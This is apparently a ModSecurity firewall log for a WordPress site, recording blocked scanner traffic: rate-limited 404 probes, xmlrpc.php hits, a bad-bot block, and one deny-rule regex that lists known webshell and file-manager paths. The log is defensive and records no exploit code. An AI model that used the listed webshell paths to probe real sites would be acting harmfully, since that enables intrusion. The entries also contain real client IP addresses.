[Mon Feb 02 20:33:20.546655 2026] [:error] [pid 63032:tid 63085] [client 20.210.160.92:38867] [client 20.210.160.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aYCZkHyEQ1PkpebvdRjmCgAAABY"]
[Mon Feb 02 20:53:40.191098 2026] [:error] [pid 46008:tid 46016] [client 135.181.213.219:56550] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aYCeVCRa52iYn7SlSMmpnAAAAUY"]
[Mon Feb 02 20:53:42.185878 2026] [:error] [pid 63153:tid 63164] [client 135.181.213.219:56558] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aYCeVnC9GXHnmLkdgdmR1QAAAMM"]
[Mon Feb 02 20:53:44.231860 2026] [:error] [pid 63032:tid 63073] [client 135.181.213.219:56574] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYCeWHyEQ1PkpebvdRjqZgAAAAo"]
[Mon Feb 02 20:53:45.952644 2026] [:error] [pid 46008:tid 46023] [client 135.181.213.219:56588] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYCeWSRa52iYn7SlSMmpoQAAAUw"]
[Mon Feb 02 20:53:49.703667 2026] [:error] [pid 63034:tid 63138] [client 135.181.213.219:56604] [client 135.181.213.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/robots.txt"] [unique_id "aYCeXeKXlgw75_wfbHrjNwAAAJQ"]
[Mon Feb 02 20:56:00.845346 2026] [:error] [pid 56989:tid 56995] [client 49.235.136.28:57758] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYCe4Ep44HnChN-GZlgWIAAAAgQ"]
[Mon Feb 02 21:07:25.271125 2026] [:error] [pid 63153:tid 63172] [client 138.124.187.135:46956] [client 138.124.187.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.124.187.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYChjXC9GXHnmLkdgdmVpQAAAMs"]
[Mon Feb 02 22:16:36.507662 2026] [:error] [pid 63153:tid 63170] [client 104.28.152.248:63062] [client 104.28.152.248] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aYCxxHC9GXHnmLkdgdmrVwAAAMk"]
[Tue Feb 03 00:04:58.386483 2026] [:error] [pid 56989:tid 57011] [client 185.220.101.38:27553] [client 185.220.101.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.220.101.38, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYDLKkp44HnChN-GZlhBfgAAAhQ"], referer: https://gigfragments.org/xmlrpc.php?rsd
[Tue Feb 03 00:48:20.157968 2026] [:error] [pid 63153:tid 63181] [client 217.63.112.92:51852] [client 217.63.112.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.63.112.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYDVVHC9GXHnmLkdgdnbgQAAANQ"]
[Tue Feb 03 03:59:21.283774 2026] [:error] [pid 12452:tid 12458] [client 62.146.235.89:41694] [client 62.146.235.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.146.235.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYECGSiZgIB4CJ0p38vO-wAAAMM"]
[Tue Feb 03 06:56:44.148566 2026] [:error] [pid 43028:tid 43052] [client 143.110.190.80:58984] [client 143.110.190.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.110.190.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYErrFnHWnJD4cJC5DuioAAAANY"]
[Tue Feb 03 07:29:38.963979 2026] [:error] [pid 43028:tid 43043] [client 20.205.1.54:21829] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aYEzYlnHWnJD4cJC5Dux-gAAAM0"]
[Tue Feb 03 07:29:42.971878 2026] [:error] [pid 28720:tid 28727] [client 20.205.1.54:16403] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aYEzZmmRXm2bmr_sYibkVwAAAQU"]
[Tue Feb 03 07:29:46.967293 2026] [:error] [pid 42922:tid 42991] [client 20.205.1.54:14683] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aYEzamazX4WPS_dQRkjGmwAAAIY"]
[Tue Feb 03 07:29:50.497476 2026] [:error] [pid 42922:tid 43000] [client 20.205.1.54:16390] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aYEzbmazX4WPS_dQRkjGnQAAAI8"]
[Tue Feb 03 07:29:55.516876 2026] [:error] [pid 42921:tid 42973] [client 20.205.1.54:18390] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aYEzc4blShffGl-01oejVAAAAE8"]
[Tue Feb 03 07:30:00.341079 2026] [:error] [pid 42921:tid 42958] [client 20.205.1.54:21860] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aYEzeIblShffGl-01oejXAAAAEA"]
[Tue Feb 03 07:30:01.489510 2026] [:error] [pid 42921:tid 42960] [client 20.205.1.54:15894] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aYEzeYblShffGl-01oejYwAAAEI"]
[Tue Feb 03 07:30:12.128563 2026] [:error] [pid 42920:tid 42949] [client 20.205.1.54:3582] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aYEzhCix3YKltG4EU0mw0QAAABQ"]
[Tue Feb 03 07:30:13.843065 2026] [:error] [pid 28720:tid 28744] [client 20.205.1.54:3575] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "aYEzhWmRXm2bmr_sYibkjgAAARY"]
[Tue Feb 03 07:31:31.936190 2026] [:error] [pid 28720:tid 28739] [client 20.205.1.54:18412] [client 20.205.1.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aYEz02mRXm2bmr_sYiblPQAAARE"]
[Tue Feb 03 07:31:44.716606 2026] [:error] [pid 42922:tid 42995] [client 20.205.1.54:21858] [client 20.205.1.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aYEz4GazX4WPS_dQRkjHQAAAAIo"]
[Tue Feb 03 07:31:52.422658 2026] [:error] [pid 42922:tid 42996] [client 20.205.1.54:15884] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/footer.php"] [unique_id "aYEz6GazX4WPS_dQRkjHSgAAAIs"]
[Tue Feb 03 07:32:03.992973 2026] [:error] [pid 42921:tid 42973] [client 20.205.1.54:5373] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYEz84blShffGl-01oekIgAAAE8"]
[Tue Feb 03 07:32:08.718825 2026] [:error] [pid 42922:tid 43003] [client 20.205.1.54:5372] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYEz-GazX4WPS_dQRkjHYAAAAJI"]
[Tue Feb 03 07:32:16.217505 2026] [:error] [pid 42920:tid 42941] [client 20.205.1.54:14717] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aYE0ACix3YKltG4EU0mxggAAAAw"]
[Tue Feb 03 07:32:19.960942 2026] [:error] [pid 28720:tid 28728] [client 20.205.1.54:3574] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aYE0A2mRXm2bmr_sYiblkgAAAQY"]
[Tue Feb 03 07:32:25.205389 2026] [:error] [pid 28720:tid 28739] [client 20.205.1.54:17682] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aYE0CWmRXm2bmr_sYibloQAAARE"]
[Tue Feb 03 07:32:26.673255 2026] [:error] [pid 28720:tid 28739] [client 20.205.1.54:15616] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pro.php"] [unique_id "aYE0CmmRXm2bmr_sYiblpgAAARE"]
[Tue Feb 03 07:32:30.113963 2026] [:error] [pid 42922:tid 43000] [client 20.205.1.54:3161] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aYE0DmazX4WPS_dQRkjHewAAAI8"]
[Tue Feb 03 07:32:35.694601 2026] [:error] [pid 28720:tid 28725] [client 20.205.1.54:15476] [client 20.205.1.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/error.php"] [unique_id "aYE0E2mRXm2bmr_sYiblsgAAAQM"]
[Tue Feb 03 07:32:44.520156 2026] [:error] [pid 43028:tid 43050] [client 20.205.1.54:14297] [client 20.205.1.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.205.1.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYE0HFnHWnJD4cJC5Duy6QAAANQ"]
[Tue Feb 03 08:18:46.588890 2026] [:error] [pid 42922:tid 42989] [client 103.77.107.204:63981] [client 103.77.107.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aYE-5mazX4WPS_dQRkjZbwAAAIQ"]
[Tue Feb 03 09:26:10.044985 2026] [:error] [pid 43028:tid 43049] [client 207.154.250.140:35218] [client 207.154.250.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.250.140, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYFOslnHWnJD4cJC5DvbXgAAANM"]
[Tue Feb 03 09:43:40.113355 2026] [:error] [pid 5229:tid 5248] [client 43.166.244.192:55474] [client 43.166.244.192] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYFSzEKmEgmJub93yUrs3QAAAZE"]
[Tue Feb 03 09:59:30.717109 2026] [:error] [pid 43028:tid 43037] [client 91.65.123.43:35668] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aYFWglnHWnJD4cJC5DvmBQAAAMc"]
[Tue Feb 03 09:59:32.645358 2026] [:error] [pid 42921:tid 42967] [client 91.65.123.43:33155] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aYFWhIblShffGl-01ofT5wAAAEk"]
[Tue Feb 03 09:59:34.569265 2026] [:error] [pid 42921:tid 42974] [client 91.65.123.43:28796] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aYFWhoblShffGl-01ofT6gAAAFA"]
[Tue Feb 03 09:59:36.667044 2026] [:error] [pid 5148:tid 5154] [client 91.65.123.43:1428] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aYFWiL83HCHLtUIbS7IVIQAAAUM"]
[Tue Feb 03 09:59:38.777819 2026] [:error] [pid 5229:tid 5250] [client 91.65.123.43:50259] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aYFWikKmEgmJub93yUr1AQAAAZM"]
[Tue Feb 03 09:59:40.880662 2026] [:error] [pid 5229:tid 5233] [client 91.65.123.43:3161] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYFWjEKmEgmJub93yUr1BwAAAYI"]
[Tue Feb 03 09:59:42.984348 2026] [:error] [pid 42920:tid 42952] [client 91.65.123.43:39886] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYFWjiix3YKltG4EU0ngBgAAABc"]
[Tue Feb 03 09:59:44.923164 2026] [:error] [pid 42922:tid 43008] [client 91.65.123.43:43375] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYFWkGazX4WPS_dQRkj2qQAAAJc"]
[Tue Feb 03 09:59:47.001662 2026] [:error] [pid 42921:tid 42959] [client 91.65.123.43:3693] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYFWk4blShffGl-01ofT_gAAAEE"]
[Tue Feb 03 09:59:48.917154 2026] [:error] [pid 5148:tid 5164] [client 91.65.123.43:32137] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aYFWlL83HCHLtUIbS7IVRwAAAU0"]
[Tue Feb 03 09:59:51.002385 2026] [:error] [pid 43028:tid 43047] [client 91.65.123.43:24058] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYFWl1nHWnJD4cJC5DvmGwAAANE"]
[Tue Feb 03 09:59:53.104412 2026] [:error] [pid 5148:tid 5168] [client 91.65.123.43:28221] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aYFWmb83HCHLtUIbS7IVVgAAAVE"]
[Tue Feb 03 09:59:56.233054 2026] [:error] [pid 28720:tid 28732] [client 91.65.123.43:3987] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aYFWnGmRXm2bmr_sYiYe-gAAAQo"]
[Tue Feb 03 09:59:58.221248 2026] [:error] [pid 5148:tid 5154] [client 91.65.123.43:10295] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aYFWnr83HCHLtUIbS7IVXQAAAUM"]
[Tue Feb 03 10:00:00.306250 2026] [:error] [pid 43028:tid 43037] [client 91.65.123.43:36608] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aYFWoFnHWnJD4cJC5DvmIQAAAMc"]
[Tue Feb 03 10:00:02.517337 2026] [:error] [pid 5148:tid 5170] [client 91.65.123.43:20575] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aYFWor83HCHLtUIbS7IVYwAAAVM"]
[Tue Feb 03 10:00:04.430278 2026] [:error] [pid 42921:tid 42961] [client 91.65.123.43:38628] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aYFWpIblShffGl-01ofUFQAAAEM"]
[Tue Feb 03 10:00:06.499598 2026] [:error] [pid 42921:tid 42978] [client 91.65.123.43:20174] [client 91.65.123.43] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aYFWpoblShffGl-01ofUGgAAAFQ"]
